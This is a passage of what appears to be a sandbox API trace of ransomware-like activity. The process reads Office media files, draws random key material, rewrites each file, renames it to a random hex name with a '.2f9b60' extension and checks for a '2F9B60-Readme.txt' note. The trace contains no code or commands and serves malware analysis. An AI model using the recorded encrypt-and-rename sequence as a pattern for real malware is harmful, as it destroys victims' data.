returned 0x7d0213b6 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x62b9e345 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0xfbcb519 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x5ba789a3 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x73561139 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6bd25af7 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0xe385241 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x2ff06128 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x23b956c6 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x661e6f8 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6370d45f [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x3a9c8fb1 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x18cd5c6e [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0xdee07fe [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x21422197 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6057b9c4 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x1f6f3302 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0xbc391c0 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x62fa6890 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x42681c17 [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x712067de [0102.858] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6e2c39e5 [0102.859] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x62dd2940 [0102.859] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x63e8ff72 [0102.859] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x2458e3fd [0102.859] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0x6c490bea [0102.859] RtlRandomEx (in: Seed=0x2df7f5d0 | out: Seed=0x2df7f5d0) returned 0xc731936 [0102.868] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.868] ReadFile (in: hFile=0x1670, lpBuffer=0x20464b40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2df7f640, lpOverlapped=0x0 | out: lpBuffer=0x20464b40*, lpNumberOfBytesRead=0x2df7f640*=0x3c00, lpOverlapped=0x0) returned 1 [0102.913] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0102.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f53cc0 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0102.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ab0) returned 1 [0102.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.914] WriteFile (in: hFile=0x1670, lpBuffer=0x41f53cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2df7f640, lpOverlapped=0x0 | out: lpBuffer=0x41f53cc0*, lpNumberOfBytesWritten=0x2df7f640*=0x3c00, lpOverlapped=0x0) returned 1 [0159.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f53cc0) returned 1 [0159.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20464b40) returned 1 [0159.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb3dd0 [0159.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c0b0 [0159.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb73f0 [0159.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ec0 [0159.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3ec0) returned 1 [0159.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb3ec0 [0159.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f50 [0159.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f80 [0159.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3f80) returned 1 [0159.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb73f0) returned 1 [0159.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c0b0) returned 1 [0159.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x420553e0 [0159.466] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.466] WriteFile (hFile=0x1670, lpBuffer=0x420553e0, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2df7f6f0, lpOverlapped=0x0) [0199.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0199.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0199.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ac90 [0199.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ac90) returned 1 [0199.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f120 [0199.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ac90 [0199.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c70 [0199.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c70) returned 1 [0199.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0199.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0199.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7d7fc0 [0199.642] sprintf (in: _Dest=0x1b7d7fc0, _Format="%c%c" | out: _Dest="fe") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fc2, _Format="%c%c" | out: _Dest="1c") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fc4, _Format="%c%c" | out: _Dest="88") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fc6, _Format="%c%c" | out: _Dest="e8") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fc8, _Format="%c%c" | out: _Dest="78") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fca, _Format="%c%c" | out: _Dest="2e") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fcc, _Format="%c%c" | out: _Dest="96") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fce, _Format="%c%c" | out: _Dest="f8") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fd0, _Format="%c%c" | out: _Dest="3f") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fd2, _Format="%c%c" | out: _Dest="54") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fd4, _Format="%c%c" | out: _Dest="b9") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fd6, _Format="%c%c" | out: _Dest="2f") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fd8, _Format="%c%c" | out: _Dest="c7") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fda, _Format="%c%c" | out: _Dest="ab") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fdc, _Format="%c%c" | out: _Dest="97") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fde, _Format="%c%c" | out: _Dest="ce") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fe0, _Format="%c%c" | out: _Dest="59") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fe2, _Format="%c%c" | out: _Dest="7d") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fe4, _Format="%c%c" | out: _Dest="b9") returned 2 [0199.642] sprintf (in: _Dest=0x1b7d7fe6, _Format="%c%c" | out: _Dest="2c") returned 2 [0199.643] RtlInitAnsiString (in: DestinationString=0x2df7f768, SourceString="fe1c88e8782e96f83f54b92fc7ab97ce597db92c" | out: DestinationString="fe1c88e8782e96f83f54b92fc7ab97ce597db92c") [0199.643] RtlAnsiStringToUnicodeString (in: DestinationString=0x2df7f738, SourceString="fe1c88e8782e96f83f54b92fc7ab97ce597db92c", AllocateDestinationString=1 | out: DestinationString="fe1c88e8782e96f83f54b92fc7ab97ce597db92c") returned 0x0 [0199.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858910 [0199.643] wcscat (in: _Dest=0x205099f0, _Source="fe1c88e878" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878" [0199.643] wcscat (in: _Dest=0x205099f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878.2f9b60" [0199.643] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878.2f9b60", NtPathName=0x2df7f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\fe1c88e878.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x431f2eb0 [0216.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2eb0) returned 1 [0216.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309b500) returned 1 [0216.615] NtQueryInformationFile (in: FileHandle=0x1670, IoStatusBlock=0x2df7f778, FileInformation=0x2df7f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2df7f778, FileInformation=0x2df7f788) returned 0x0 [0216.615] NtSetInformationFile (FileHandle=0x1670, IoStatusBlock=0x2df7f778, FileInformation=0x2df7f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0220.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205099f0) returned 1 [0220.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858910) returned 1 [0220.163] FlushFileBuffers (hFile=0x1670) returned 1 [0221.374] CloseHandle (hObject=0x1670) returned 1 [0222.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4380 [0222.842] wcscpy (in: _Dest=0x202a4380, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0222.842] wcscat (in: _Dest=0x202a4380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0222.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0222.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4380) returned 1 [0222.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868140) returned 1 Thread: id = 905 os_tid = 0x14cc [0101.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav")) returned 0x20 [0102.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV", dwFileAttributes=0x20) returned 1 [0102.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1668 [0102.748] GetFileSizeEx (in: hFile=0x1668, lpFileSize=0x2e1bfa20 | out: lpFileSize=0x2e1bfa20*=616) returned 1 [0102.748] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.748] ReadFile (in: hFile=0x1668, lpBuffer=0x2e1bf9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e1bf9e8, lpOverlapped=0x0 | out: lpBuffer=0x2e1bf9a0*, lpNumberOfBytesRead=0x2e1bf9e8*=0x4, lpOverlapped=0x0) returned 1 [0102.749] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0102.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0102.749] NtQuerySystemTime (in: CurrentTime=0x2e1bf8e0 | out: CurrentTime=0x2e1bf8e0*=132462177082714000) returned 0x0 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x23fc0bd5 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x55341f33 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x155647ed [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6bff7624 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6809b12c [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x3a12253c [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6bff7624 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x2c7f9045 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x51729bc0 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x3a5aa2bc [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x129f6ed6 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x4f555cfa [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x19a9f529 [0102.749] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x11c84b03 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x26d3578c [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x67f03fc0 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x78ca7ab5 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x7ef7247e [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6512d889 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x780ed441 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x60435241 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x7dc64707 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x4f923e87 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6aaab506 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x66943781 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x62bdace3 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x49dea9a6 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x74203ad5 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x6ff94ae6 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x48bc92d3 [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x7dcebace [0102.750] RtlRandomEx (in: Seed=0x2e1bf8d0 | out: Seed=0x2e1bf8d0) returned 0x72c4a76f [0102.758] ReadFile (in: hFile=0x1668, lpBuffer=0x202b5cc0, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0x2e1bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x202b5cc0*, lpNumberOfBytesRead=0x2e1bf8d0*=0x268, lpOverlapped=0x0) returned 1 [0102.773] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.773] WriteFile (in: hFile=0x1668, lpBuffer=0x20451ef0*, nNumberOfBytesToWrite=0x268, lpNumberOfBytesWritten=0x2e1bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x20451ef0*, lpNumberOfBytesWritten=0x2e1bf8d4*=0x268, lpOverlapped=0x0) returned 1 [0103.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8340 [0103.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0103.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0103.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20451ef0) returned 1 [0103.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b5cc0) returned 1 [0103.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0103.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7890 [0103.769] SetFilePointerEx (in: hFile=0x1668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.770] WriteFile (in: hFile=0x1668, lpBuffer=0x169d50*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2e1bf9f0, lpOverlapped=0x0 | out: lpBuffer=0x169d50*, lpNumberOfBytesWritten=0x2e1bf9f0*=0x104, lpOverlapped=0x0) returned 1 [0104.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e70 [0104.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e70) returned 1 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e70 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0104.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0104.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0104.099] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202625d0 [0104.099] sprintf (in: _Dest=0x202625d0, _Format="%c%c" | out: _Dest="da") returned 2 [0104.099] sprintf (in: _Dest=0x202625d2, _Format="%c%c" | out: _Dest="fe") returned 2 [0104.099] sprintf (in: _Dest=0x202625d4, _Format="%c%c" | out: _Dest="47") returned 2 [0104.099] sprintf (in: _Dest=0x202625d6, _Format="%c%c" | out: _Dest="f0") returned 2 [0104.099] sprintf (in: _Dest=0x202625d8, _Format="%c%c" | out: _Dest="b5") returned 2 [0104.099] sprintf (in: _Dest=0x202625da, _Format="%c%c" | out: _Dest="16") returned 2 [0104.100] sprintf (in: _Dest=0x202625dc, _Format="%c%c" | out: _Dest="84") returned 2 [0104.100] sprintf (in: _Dest=0x202625de, _Format="%c%c" | out: _Dest="3a") returned 2 [0104.100] sprintf (in: _Dest=0x202625e0, _Format="%c%c" | out: _Dest="c9") returned 2 [0104.100] sprintf (in: _Dest=0x202625e2, _Format="%c%c" | out: _Dest="c7") returned 2 [0104.100] sprintf (in: _Dest=0x202625e4, _Format="%c%c" | out: _Dest="a8") returned 2 [0104.100] sprintf (in: _Dest=0x202625e6, _Format="%c%c" | out: _Dest="18") returned 2 [0104.100] sprintf (in: _Dest=0x202625e8, _Format="%c%c" | out: _Dest="58") returned 2 [0104.100] sprintf (in: _Dest=0x202625ea, _Format="%c%c" | out: _Dest="40") returned 2 [0104.100] sprintf (in: _Dest=0x202625ec, _Format="%c%c" | out: _Dest="e3") returned 2 [0104.100] sprintf (in: _Dest=0x202625ee, _Format="%c%c" | out: _Dest="94") returned 2 [0104.100] sprintf (in: _Dest=0x202625f0, _Format="%c%c" | out: _Dest="24") returned 2 [0104.100] sprintf (in: _Dest=0x202625f2, _Format="%c%c" | out: _Dest="52") returned 2 [0104.100] RtlInitAnsiString (in: DestinationString=0x2e1bfa68, SourceString="dafe47f0b516843ac9c7a8185840e3942452" | out: DestinationString="dafe47f0b516843ac9c7a8185840e3942452") [0104.100] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e1bfa38, SourceString="dafe47f0b516843ac9c7a8185840e3942452", AllocateDestinationString=1 | out: DestinationString="dafe47f0b516843ac9c7a8185840e3942452") returned 0x0 [0104.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9cbb0 [0104.100] wcscat (in: _Dest=0x2050a6e0, _Source="dafe47f0b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b" [0104.100] wcscat (in: _Dest=0x2050a6e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b.2f9b60" [0104.100] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b.2f9b60", NtPathName=0x2e1bfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\dafe47f0b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adad0 [0104.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adad0) returned 1 [0104.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd690) returned 1 [0104.481] NtQueryInformationFile (in: FileHandle=0x1668, IoStatusBlock=0x2e1bfa78, FileInformation=0x2e1bfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e1bfa78, FileInformation=0x2e1bfa88) returned 0x0 [0104.481] NtSetInformationFile (FileHandle=0x1668, IoStatusBlock=0x2e1bfa78, FileInformation=0x2e1bfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a6e0) returned 1 [0104.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cbb0) returned 1 [0104.485] FlushFileBuffers (hFile=0x1668) returned 1 [0104.607] CloseHandle (hObject=0x1668) returned 1 [0104.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0104.609] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.609] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0104.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8681c0) returned 1 Thread: id = 906 os_tid = 0x14d0 [0101.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav")) returned 0x20 [0102.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV", dwFileAttributes=0x20) returned 1 [0102.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 